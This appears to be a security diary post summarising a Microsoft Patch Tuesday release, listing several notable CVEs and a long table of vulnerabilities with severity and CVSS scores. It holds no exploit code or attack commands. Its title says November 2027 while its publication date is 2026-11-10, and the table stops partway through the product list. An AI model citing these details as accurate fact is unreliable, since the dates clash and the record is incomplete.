Handler on Duty: Johannes Ullrich

Threat Level: green

Diaries

Published: 2026-11-10

Microsoft Patch Tuesday November 2027

Microsoft continues its AI-induced patch surge, addressing 1,260 different vulnerabilities this month. 68 of these vulnerabilities are considered critical. 167 of the vulnerabilities are Chromium issues affecting Microsoft Edge.

One of the vulnerabilities, CVE-2026-124194, a spoofing vulnerability in Outlook, is already being exploited.

Other vulnerabilities of note:

CVE-2026-119958: A critical RCE vulnerability in Microsoft LDAP.
CVE-2026-109459, CVE-2026-119967, CVE-2026-116710, CVE-2026-119963, CVE-2026-119964: Several critical vulnerabilities in Microsoft Queuing and Queue Manager.
CVE-2026-113859: Windows TCP/IP Remote Code Execution Vulnerability. CVSS score is only 7.5.

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Denial of Service Vulnerability
%%cve:2026-109475%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-118747%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-120796%%	No	No	-	-	Important	5.3	4.6
.NET Elevation of Privilege Vulnerability
%%cve:2026-105544%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-114155%%	No	No	-	-	Important	7.5	6.5
.NET Security Feature Bypass Vulnerability
%%cve:2026-118746%%	No	No	-	-	Important	6.8	5.9
AMD Zen Information Disclosure Vulnerability
%%cve:2026-84004%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-84005%%	No	No	-	-	Important	5.5	4.8
ASP.NET Core Denial of Service Vulnerability
%%cve:2026-109478%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-114147%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-114149%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-114154%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-118748%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-118749%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-118750%%	No	No	-	-	Important	7.5	6.5
ASP.NET Core Elevation of Privilege Vulnerability
%%cve:2026-109481%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-114146%%	No	No	-	-	Important	9.0	7.8
%%cve:2026-118741%%	No	No	-	-	Important	8.1	7.1
ASP.NET Core Information Disclosure Vulnerability
%%cve:2026-109476%%	No	No	-	-	Important	6.1	5.3
%%cve:2026-114150%%	No	No	-	-	Important	5.9	5.2
ASP.NET Core Security Feature Bypass Vulnerability
%%cve:2026-114156%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-114157%%	No	No	-	-	Important	7.5	6.5
Active Directory Domain Services Elevation of Privilege Vulnerability
%%cve:2026-118148%%	No	No	-	-	Critical	7.5	6.5
%%cve:2026-118735%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-123387%%	No	No	-	-	Important	8.0	7.0
ActiveSyncProvider Information Disclosure Vulnerability
%%cve:2026-119889%%	No	No	-	-	Important	6.5	5.7
Aspire Elevation of Privilege Vulnerability
%%cve:2026-120006%%	No	No	-	-	Important
%%cve:2026-120778%%	No	No	-	-	Important	7.3	6.4
Aspire Information Disclosure Vulnerability
%%cve:2026-120792%%	No	No	-	-	Important	7.3	6.4
Aspire Security Feature Bypass Vulnerability
%%cve:2026-118740%%	No	No	-	-	Important	9.1	7.9
Azure CLI Remote Code Execution Vulnerability
%%cve:2026-109457%%	No	No	-	-	Important	8.0	7.0
Azure Confidential Clean Rooms Tampering Vulnerability
%%cve:2026-121668%%	No	No	-	-	Important
Azure CycleCloud Elevation of Privilege Vulnerability
%%cve:2026-102224%%	No	No	-	-	Important	8.4	7.3
%%cve:2026-113822%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-114161%%	No	No	-	-	Important	7.8	6.8
Azure CycleCloud Information Disclosure Vulnerability
%%cve:2026-113823%%	No	No	-	-	Important	7.5	6.5
Azure DevOps Server Elevation of Privilege Vulnerability
%%cve:2026-120783%%	No	No	-	-	Important	6.4	5.8
%%cve:2026-85923%%	No	No	-	-	Important	8.8	7.7
Azure DevOps Server Information Disclosure Vulnerability
%%cve:2026-112745%%	No	No	-	-	Important	6.5	5.7
Azure DevOps Server Remote Code Execution Vulnerability
%%cve:2026-109467%%	No	No	-	-	Important	9.9	8.6
Azure Firmware Security Feature Bypass Vulnerability
%%cve:2026-109462%%	No	No	-	-	Important	4.4	3.9
Azure Front Door Elevation of Privilege Vulnerability
%%cve:2026-118742%%	No	No	-	-	Important	8.6	7.5
Azure Local Elevation of Privilege Vulnerability
%%cve:2026-105734%%	No	No	-	-	Important	7.0	6.1
Azure Managed Grafana Elevation of Privilege Vulnerability
%%cve:2026-114160%%	No	No	-	-	Critical
Azure NFS mount helper (aznfs) Elevation of Privilege Vulnerability
%%cve:2026-105494%%	No	No	-	-	Important
Azure OpenAI Elevation of Privilege Vulnerability
%%cve:2026-119990%%	No	No	-	-	Critical	9.8	8.5
Azure Pipelines Remote Code Execution Vulnerability
%%cve:2026-119989%%	No	No	-	-	Important	8.2	7.1
Chromium CVE-2026-118309: Incorrect reference resolution
%%cve:2026-118309%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-118314: Incorrect reference resolution
%%cve:2026-118314%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-118321: Use after free
%%cve:2026-118321%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-119260: Use after free
%%cve:2026-119260%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-119261: Improper input validation
%%cve:2026-119261%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-119262: Improper input validation
%%cve:2026-119262%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-119263: Memory corruption
%%cve:2026-119263%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-119264: Memory corruption
%%cve:2026-119264%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-119265: Memory corruption
%%cve:2026-119265%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-119266: Use after free
%%cve:2026-119266%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-119267: Memory corruption
%%cve:2026-119267%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-119268: Integer overflow
%%cve:2026-119268%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-119269: Use after free
%%cve:2026-119269%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-119270: Improper input validation
%%cve:2026-119270%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-119271: Use after free
%%cve:2026-119271%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-119272: Out of bounds read
%%cve:2026-119272%%	No	No	-	-	Moderate	4.3	4.3
Chromium CVE-2026-120930: Incorrect authorization
%%cve:2026-120930%%	No	No	-	-	Important	5.4	5.4
Chromium CVE-2026-121029: Incorrect authorization
%%cve:2026-121029%%	No	No	-	-	Low
Chromium CVE-2026-121030: Incorrect authorization
%%cve:2026-121030%%	No	No	-	-	Moderate	9.6	9.6
Chromium CVE-2026-121031: Missing authorization
%%cve:2026-121031%%	No	No	-	-	Moderate
Chromium CVE-2026-121032: Out of bounds read
%%cve:2026-121032%%	No	No	-	-	Important
Chromium CVE-2026-121034: Use after free
%%cve:2026-121034%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-121035: Use after free
%%cve:2026-121035%%	No	No	-	-	Critical	9.6	9.6
Chromium CVE-2026-121036: Use after free
%%cve:2026-121036%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121037: Out of bounds write
%%cve:2026-121037%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-121038: Information leak
%%cve:2026-121038%%	No	No	-	-	Important	6.5	6.5
Chromium CVE-2026-121039: Incorrect authorization
%%cve:2026-121039%%	No	No	-	-	Moderate	5.3	5.3
Chromium CVE-2026-121050: Race condition
%%cve:2026-121050%%	No	No	-	-	Low	8.8	8.8
Chromium CVE-2026-121078: Type confusion
%%cve:2026-121078%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121079: Race condition
%%cve:2026-121079%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121080: Use after free
%%cve:2026-121080%%	No	No	-	-	Important	4.3	4.3
Chromium CVE-2026-121081: UI misrepresentation
%%cve:2026-121081%%	No	No	-	-	Low	5.9	5.9
Chromium CVE-2026-121082: Type confusion
%%cve:2026-121082%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121083: Use after free
%%cve:2026-121083%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121084: Out of bounds read
%%cve:2026-121084%%	No	No	-	-	Important	8.3	8.3
Chromium CVE-2026-121085: Incorrect authorization
%%cve:2026-121085%%	No	No	-	-	Low
Chromium CVE-2026-121086: Buffer overflow
%%cve:2026-121086%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-121087: Improper input validation
%%cve:2026-121087%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121088: Missing authorization
%%cve:2026-121088%%	No	No	-	-	Moderate	6.5	6.5
Chromium CVE-2026-121089: Use after free
%%cve:2026-121089%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-121091: Incorrect authorization
%%cve:2026-121091%%	No	No	-	-	Moderate	5.3	5.3
Chromium CVE-2026-121092: Uncontrolled recursion
%%cve:2026-121092%%	No	No	-	-	Low	8.8	8.8
Chromium CVE-2026-121093: Out of bounds read
%%cve:2026-121093%%	No	No	-	-	Low
Chromium CVE-2026-121094: Type confusion
%%cve:2026-121094%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121095: Uninitialized resource
%%cve:2026-121095%%	No	No	-	-	Important
Chromium CVE-2026-121096: Incomplete cleanup
%%cve:2026-121096%%	No	No	-	-	Moderate
Chromium CVE-2026-121097: Use after free
%%cve:2026-121097%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121098: Improper state validation
%%cve:2026-121098%%	No	No	-	-	Important	8.3	8.3
Chromium CVE-2026-121099: Information leak
%%cve:2026-121099%%	No	No	-	-	Moderate	6.5	6.5
Chromium CVE-2026-121100: Use after free
%%cve:2026-121100%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121101: Missing authorization
%%cve:2026-121101%%	No	No	-	-	Low
Chromium CVE-2026-121102: Missing authorization
%%cve:2026-121102%%	No	No	-	-	Moderate	8.8	8.8
Chromium CVE-2026-121103: Incorrect authorization
%%cve:2026-121103%%	No	No	-	-	Moderate
Chromium CVE-2026-121104: Incorrect authorization
%%cve:2026-121104%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-121105: Information leak
%%cve:2026-121105%%	No	No	-	-	Moderate	6.5	6.5
Chromium CVE-2026-121107: Incorrect authorization
%%cve:2026-121107%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121108: Confused deputy
%%cve:2026-121108%%	No	No	-	-	Moderate	8.8	8.8
Chromium CVE-2026-121109: Inadequate encryption strength
%%cve:2026-121109%%	No	No	-	-	Low
Chromium CVE-2026-121111: Incorrect authorization
%%cve:2026-121111%%	No	No	-	-	Low
Chromium CVE-2026-121113: Buffer overflow
%%cve:2026-121113%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121114: Use after free
%%cve:2026-121114%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-121115: Improper input validation
%%cve:2026-121115%%	No	No	-	-	Moderate
Chromium CVE-2026-121117: Use after free
%%cve:2026-121117%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121118: Use after free
%%cve:2026-121118%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121119: Use after free
%%cve:2026-121119%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121120: Improper input validation
%%cve:2026-121120%%	No	No	-	-	Moderate	8.8	8.8
Chromium CVE-2026-121121: UI misrepresentation
%%cve:2026-121121%%	No	No	-	-	Low	5.4	5.4
Chromium CVE-2026-121122: UI misrepresentation
%%cve:2026-121122%%	No	No	-	-	Moderate	5.4	5.4
Chromium CVE-2026-121123: Use after free
%%cve:2026-121123%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121124: Improper adherence to coding standards
%%cve:2026-121124%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121125: Information leak
%%cve:2026-121125%%	No	No	-	-	Low	5.3	5.3
Chromium CVE-2026-121126: Use after free
%%cve:2026-121126%%	No	No	-	-	Critical	9.6	9.6
Chromium CVE-2026-121127: Use after free
%%cve:2026-121127%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121128: Use after free
%%cve:2026-121128%%	No	No	-	-	Moderate	8.8	8.8
Chromium CVE-2026-121129: Use after free
%%cve:2026-121129%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121130: Observable discrepancy
%%cve:2026-121130%%	No	No	-	-	Low	5.3	5.3
Chromium CVE-2026-121131: Use after free
%%cve:2026-121131%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-121132: Information leak
%%cve:2026-121132%%	No	No	-	-	Moderate	6.5	6.5
Chromium CVE-2026-121133: Incorrect reference resolution
%%cve:2026-121133%%	No	No	-	-	Important	8.1	8.1
Chromium CVE-2026-121134: Information loss
%%cve:2026-121134%%	No	No	-	-	Low	8.8	8.8
Chromium CVE-2026-121135: Security issue
%%cve:2026-121135%%	No	No	-	-	Moderate	8.8	8.8
Chromium CVE-2026-121136: Missing authorization
%%cve:2026-121136%%	No	No	-	-	Moderate
Chromium CVE-2026-121137: Type confusion
%%cve:2026-121137%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121138: Observable discrepancy
%%cve:2026-121138%%	No	No	-	-	Low	6.5	6.5
Chromium CVE-2026-121174: Missing authorization
%%cve:2026-121174%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121175: Improper resource exposure
%%cve:2026-121175%%	No	No	-	-	Low
Chromium CVE-2026-121176: Uninitialized resource
%%cve:2026-121176%%	No	No	-	-	Moderate	6.5	6.5
Chromium CVE-2026-121178: Use after free
%%cve:2026-121178%%	No	No	-	-	Important	8.3	8.3
Chromium CVE-2026-121179: Use after free
%%cve:2026-121179%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121180: Buffer overflow
%%cve:2026-121180%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121181: Use after free
%%cve:2026-121181%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121182: Use after free
%%cve:2026-121182%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121183: Incorrect authorization
%%cve:2026-121183%%	No	No	-	-	Moderate	8.3	8.3
Chromium CVE-2026-121184: Out of bounds read
%%cve:2026-121184%%	No	No	-	-	Moderate	8.8	8.8
Chromium CVE-2026-121185: Use after free
%%cve:2026-121185%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-121187: Observable discrepancy
%%cve:2026-121187%%	No	No	-	-	Moderate	5.3	5.3
Chromium CVE-2026-121188: Use after free
%%cve:2026-121188%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121189: Use after free
%%cve:2026-121189%%	No	No	-	-	Low	9.6	9.6
Chromium CVE-2026-121190: UI misrepresentation
%%cve:2026-121190%%	No	No	-	-	Low
Chromium CVE-2026-121193: Incorrect authorization
%%cve:2026-121193%%	No	No	-	-	Moderate
Chromium CVE-2026-121194: Missing authorization
%%cve:2026-121194%%	No	No	-	-	Moderate	5.3	5.3
Chromium CVE-2026-121195: Incorrect authorization
%%cve:2026-121195%%	No	No	-	-	Low	8.8	8.8
Chromium CVE-2026-121197: Out of bounds read
%%cve:2026-121197%%	No	No	-	-	Important
Chromium CVE-2026-121198: Confused deputy
%%cve:2026-121198%%	No	No	-	-	Low	8.8	8.8
Chromium CVE-2026-121199: Missing authorization
%%cve:2026-121199%%	No	No	-	-	Moderate	5.5	5.5
Chromium CVE-2026-121200: Incorrect reference resolution
%%cve:2026-121200%%	No	No	-	-	Moderate	9.6	9.6
Chromium CVE-2026-121201: Use after free
%%cve:2026-121201%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121202: Use after free
%%cve:2026-121202%%	No	No	-	-	Moderate	9.6	9.6
Chromium CVE-2026-121203: Use after free
%%cve:2026-121203%%	No	No	-	-	Critical	8.8	8.8
Chromium CVE-2026-121204: Incomplete cleanup
%%cve:2026-121204%%	No	No	-	-	Low	8.8	8.8
Chromium CVE-2026-121205: Incorrect authorization
%%cve:2026-121205%%	No	No	-	-	Low	8.8	8.8
Chromium CVE-2026-121206: UI misrepresentation
%%cve:2026-121206%%	No	No	-	-	Low	5.4	5.4
Chromium CVE-2026-121207: Uninitialized resource
%%cve:2026-121207%%	No	No	-	-	Important
Chromium CVE-2026-121208: Out of bounds read
%%cve:2026-121208%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121209: UI misrepresentation
%%cve:2026-121209%%	No	No	-	-	Low
Chromium CVE-2026-121210: Type confusion
%%cve:2026-121210%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121211: Use after free
%%cve:2026-121211%%	No	No	-	-	Important	8.3	8.3
Chromium CVE-2026-121212: Incorrect authorization
%%cve:2026-121212%%	No	No	-	-	Moderate	8.8	8.8
Chromium CVE-2026-121213: Uninitialized resource
%%cve:2026-121213%%	No	No	-	-	Important	6.5	6.5
Chromium CVE-2026-121214: Use after free
%%cve:2026-121214%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-121215: UI misrepresentation
%%cve:2026-121215%%	No	No	-	-	Moderate	5.4	5.4
Chromium CVE-2026-121216: UI misrepresentation
%%cve:2026-121216%%	No	No	-	-	Moderate	5.4	5.4
Chromium CVE-2026-121217: Use after free
%%cve:2026-121217%%	No	No	-	-	Low	7.5	7.5
Chromium CVE-2026-121218: Type confusion
%%cve:2026-121218%%	No	No	-	-	Moderate	8.8	8.8
Chromium CVE-2026-121219: Integer overflow
%%cve:2026-121219%%	No	No	-	-	Moderate	8.3	8.3
Chromium CVE-2026-121220: Incorrect authorization
%%cve:2026-121220%%	No	No	-	-	Moderate
Chromium CVE-2026-121221: Type confusion
%%cve:2026-121221%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121222: Incorrect authorization
%%cve:2026-121222%%	No	No	-	-	Low	8.8	8.8
Chromium CVE-2026-121223: Observable discrepancy
%%cve:2026-121223%%	No	No	-	-	Moderate
Chromium CVE-2026-121224: Security issue
%%cve:2026-121224%%	No	No	-	-	Important	8.1	8.1
Chromium CVE-2026-121226: Type confusion
%%cve:2026-121226%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121227: Uninitialized resource
%%cve:2026-121227%%	No	No	-	-	Important
Chromium CVE-2026-121228: Type confusion
%%cve:2026-121228%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121230: Race condition
%%cve:2026-121230%%	No	No	-	-	Low	8.3	8.3
Chromium CVE-2026-121231: Incorrect authorization
%%cve:2026-121231%%	No	No	-	-	Moderate
Chromium CVE-2026-121232: Incorrect authorization
%%cve:2026-121232%%	No	No	-	-	Low	5.1	5.1
Chromium CVE-2026-121233: Type confusion
%%cve:2026-121233%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-121235: Information leak
%%cve:2026-121235%%	No	No	-	-	Low	6.5	6.5
Chromium CVE-2026-121236: Improper input validation
%%cve:2026-121236%%	No	No	-	-	Low	8.8	8.8
Chromium CVE-2026-121237: Improper state validation
%%cve:2026-121237%%	No	No	-	-	Moderate
Chromium CVE-2026-121238: Use after free
%%cve:2026-121238%%	No	No	-	-	Moderate	8.8	8.8
Chromium CVE-2026-121239: Information leak
%%cve:2026-121239%%	No	No	-	-	Moderate	6.5	6.5
Chromium CVE-2026-121240: Improper input validation
%%cve:2026-121240%%	No	No	-	-	Low
Chromium CVE-2026-121242: Improper input validation
%%cve:2026-121242%%	No	No	-	-	Moderate
Chromium CVE-2026-121243: Information leak
%%cve:2026-121243%%	No	No	-	-	Low	6.5	6.5
Chromium CVE-2026-121244: UI misrepresentation
%%cve:2026-121244%%	No	No	-	-	Moderate	5.4	5.4
Chromium CVE-2026-121245: Race condition
%%cve:2026-121245%%	No	No	-	-	Moderate	5.3	5.3
Chromium CVE-2026-121248: Incorrect authorization
%%cve:2026-121248%%	No	No	-	-	Moderate
Chromium CVE-2026-121249: Buffer overflow
%%cve:2026-121249%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-121250: Use after free
%%cve:2026-121250%%	No	No	-	-	Important	9.6	9.6
Chromium CVE-2026-121251: Missing authorization
%%cve:2026-121251%%	No	No	-	-	Low	8.8	8.8
Chromium CVE-2026-121252: Incorrect authorization
%%cve:2026-121252%%	No	No	-	-	Low	8.8	8.8
Chromium CVE-2026-121253: Missing authorization
%%cve:2026-121253%%	No	No	-	-	Low
Chromium CVE-2026-121254: Information leak
%%cve:2026-121254%%	No	No	-	-	Moderate	6.5	6.5
Chromium CVE-2026-121255: Incorrect authorization
%%cve:2026-121255%%	No	No	-	-	Moderate	6.5	6.5
Chromium CVE-2026-121256: Use of released resource
%%cve:2026-121256%%	No	No	-	-	Moderate	8.3	8.3
Chromium CVE-2026-121257: Use after free
%%cve:2026-121257%%	No	No	-	-	Moderate	9.6	9.6
Chromium CVE-2026-76024: Memory corruption
%%cve:2026-76024%%	No	No	-	-	Critical	6.5	6.5
Chromium CVE-2026-76025: Use after free
%%cve:2026-76025%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-76026: Memory corruption
%%cve:2026-76026%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-76027: Memory corruption
%%cve:2026-76027%%	No	No	-	-	Important	4.3	4.3
Chromium CVE-2026-76028: Use after free
%%cve:2026-76028%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-76029: Memory corruption
%%cve:2026-76029%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-76030: Memory corruption
%%cve:2026-76030%%	No	No	-	-	Important	8.8	8.8
Chromium CVE-2026-76031: Use after free
%%cve:2026-76031%%	No	No	-	-	Important	8.8	8.8
Connected Devices Platform Service (Cdpsvc) Elevation of Privilege Vulnerability
%%cve:2026-96007%%	No	No	-	-	Important	7.0	6.1
Data Deduplication Security Feature Bypass Vulnerability
%%cve:2026-119883%%	No	No	-	-	Important	3.3	2.9
Data Sharing Service Client Elevation of Privilege Vulnerability
%%cve:2026-95963%%	No	No	-	-	Important	7.8	6.8
Desktop Window Manager Elevation of Privilege Vulnerability
%%cve:2026-105528%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-105581%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-113819%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96103%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96172%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96174%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-96175%%	No	No	-	-	Important	7.8	6.8
DirectX Elevation of Privilege Vulnerability
%%cve:2026-94507%%	No	No	-	-	Important	7.8	6.8
Entra Device Registration Elevation of Privilege Vulnerability (no customer action required)
%%cve:2026-109469%%	No	No	-	-	Critical	10.0	8.7
GitHub Copilot for Jetbrains Information Disclosure Vulnerability
%%cve:2026-83953%%	No	No	-	-	Important	5.5	4.8
Graphic Fonts Elevation of Privilege Vulnerability
%%cve:2026-96084%%	No	No	-	-	Important	7.8	6.8
Graphic Fonts Information Disclosure Vulnerability
%%cve:2026-88211%%	No	No	-	-	Important	5.7	5.0
Graphic Fonts Remote Code Execution Vulnerability
%%cve:2026-119969%%	No	No	-	-	Critical	8.8	7.7
HEIF Image Extensions Remote Code Execution Vulnerability
%%cve:2026-100204%%	No	No	-	-	Important	7.0	6.1
HEVC Video Extensions Remote Code Execution Vulnerability
%%cve:2026-114164%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-114165%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-114167%%	No	No	-	-	Important	7.8	6.8
HID Parser Library Elevation of Privilege Vulnerability
%%cve:2026-122173%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-125135%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-96010%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-96974%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-96979%%	No	No	-	-	Important	6.8	5.9
%%cve:2026-96982%%	No	No	-	-	Important	6.8	5.9
HID class driver Information Disclosure Vulnerability
%%cve:2026-96059%%	No	No	-	-	Important	5.5	4.8
HTTP.sys Information Disclosure Vulnerability
%%cve:2026-119942%%	No	No	-	-	Important	4.7	4.1
%%cve:2026-119946%%	No	No	-	-	Important	5.9	5.2
JDBC Driver for SQL Server Security Feature Bypass Vulnerability
%%cve:2026-70003%%	No	No	-	-	Important	8.7	7.6
Kernel Streaming Service Driver Elevation of Privilege Vulnerability
%%cve:2026-119937%%	No	No	-	-	Important	6.6	5.8
Mailslot File System Information Disclosure Vulnerability
%%cve:2026-105537%%	No	No	-	-	Important	5.5	4.8
Microsoft 365 Agents SDK Information Disclosure Vulnerability
%%cve:2026-109485%%	No	No	-	-	Important	6.3	5.5
Microsoft Account Tampering Vulnerability
%%cve:2026-112974%%	No	No	-	-	Important	5.5	4.8
%%cve:2026-112982%%	No	No	-	-	Important	5.5	4.8
Microsoft ActiveX Installer Service Elevation of Privilege Vulnerability
%%cve:2026-96158%%	No	No	-	-	Important	7.0	6.1
Microsoft Authentication Library (MSAL) for Node.js Information Disclosure Vulnerability
%%cve:2026-108470%%	No	No	-	-	Important
Microsoft Authentication Library for JavaScript Spoofing Vulnerability
%%cve:2026-108469%%	No	No	-	-	Important	6.8	5.9
Microsoft Azure File Sync Elevation of Privilege Vulnerability
%%cve:2026-118288%%	No	No	-	-	Important	7.0	6.1
Microsoft Azure Kubernetes Service Elevation of Privilege Vulnerability
%%cve:2026-122986%%	No	No	-	-	Important	7.8	6.8
Microsoft Bluetooth Driver Elevation of Privilege Vulnerability
%%cve:2026-70120%%	No	No	-	-	Important	7.0	6.1
Microsoft Brokering File System Elevation of Privilege Vulnerability
%%cve:2026-85929%%	No	No	-	-	Important	7.8	6.8
Microsoft Color Management Remote Code Execution Vulnerability
%%cve:2026-96054%%	No	No	-	-	Important	7.0	6.1
%%cve:2026-96067%%	No	No	-	-	Important	9.8	8.5
%%cve:2026-96078%%	No	No	-	-	Important	9.8	8.5
Microsoft Configuration Manager Information Disclosure Vulnerability
%%cve:2026-119991%%	No	No	-	-	Important	5.9	5.2
Microsoft Defender Remote Code Execution Vulnerability
%%cve:2026-122194%%	No	No	-	-	Critical	8.8	7.7
Microsoft DirectMusic Remote Code Execution Vulnerability
%%cve:2026-95882%%	No	No	-	-	Important	9.8	8.5
%%cve:2026-95891%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95896%%	No	No	-	-	Important	7.8	6.8
%%cve:2026-95901%%	No	No	-	-	Important	9.8	8.5
Microsoft Dynamics 365 (on-premises) Information Disclosure Vulnerability
%%cve:2026-122196%%	No	No	-	-	Important	6.5	5.7
Microsoft Edge (Chromium-based) Information Disclosure Vulnerability
%%cve:2026-122518%%	No	No	-	-	Moderate	6.5	5.7
Microsoft Entra Private Network Connector Information Disclosure Vulnerability
%%cve:2026-109460%%	No	No	-	-	Important	5.5	4.8
Microsoft Exchange Server Denial of Service Vulnerability
%%cve:2026-118153%%	No	No	-	-	Important	7.5	6.5
Microsoft Exchange Server Elevation of Privilege Vulnerability
%%cve:2026-118150%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118151%%	No	No	-	-	Important	7.2	6.3
%%cve:2026-118154%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118157%%	No	No	-	-	Important	7.2	6.3
Microsoft Exchange Server Remote Code Execution Vulnerability
%%cve:2026-118149%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118207%%	No	No	-	-	Critical	8.8	7.7
Microsoft Exchange Server Spoofing Vulnerability
%%cve:2026-118152%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-118208%%	No	No	-	-	Important	7.1	6.2
Microsoft Graph Elevation of Privilege Vulnerability
%%cve:2026-114162%%	No	No	-	-	Important	9.1	7.9
Microsoft Graphics Component Information Disclosure Vulnerability
%%cve:2026-112754%%	No	No	-	-	Important	5.5	4.8
Microsoft High Performance Computing (HPC) Pack Elevation of Privilege Vulnerability
%%cve:2026-122987%%	No	No	-	-	Important	5.9	5.2
Microsoft Input Method Editor (IME) Elevation of Privilege Vulnerability
%%cve:2026-105505%%	No	No	-	-	Important	7.8	6.8
Microsoft JScript Remote Code Execution Vulnerability
%%cve:2026-105578%%	No	No	-	-	Important	7.5	6.5
Microsoft MCP Gateway Elevation of Privilege Vulnerability
%%cve:2026-109492%%	No	No	-	-	Important
Microsoft ODBC Driver Remote Code Execution Vulnerability
%%cve:2026-108411%%	No	No	-	-	Important	8.8	7.7
Microsoft Office Access Remote Code Execution Vulnerability
%%cve:2026-109493%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-109498%%	No	No	-	-	Important	7.5	6.5
%%cve:2026-110058%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-110059%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-110060%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111301%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-111305%%	No	No	-	-	Important	8.8	7.7
Microsoft Office Excel Elevation of Privilege Vulnerability
%%cve:2026-118715%%	No	No	-	-	Important	8.8	7.7
%%cve:2026-118725%%	No	No	-	-	Important	8.8	7.7
Microsoft Office Excel Information Disclosure Vulnerability
%%cve:2026-111292%%	No	No	-	-	Important	6.5	5.7
%%cve:2026-118300%%	No	No	-	-	Important	6.5	5.7
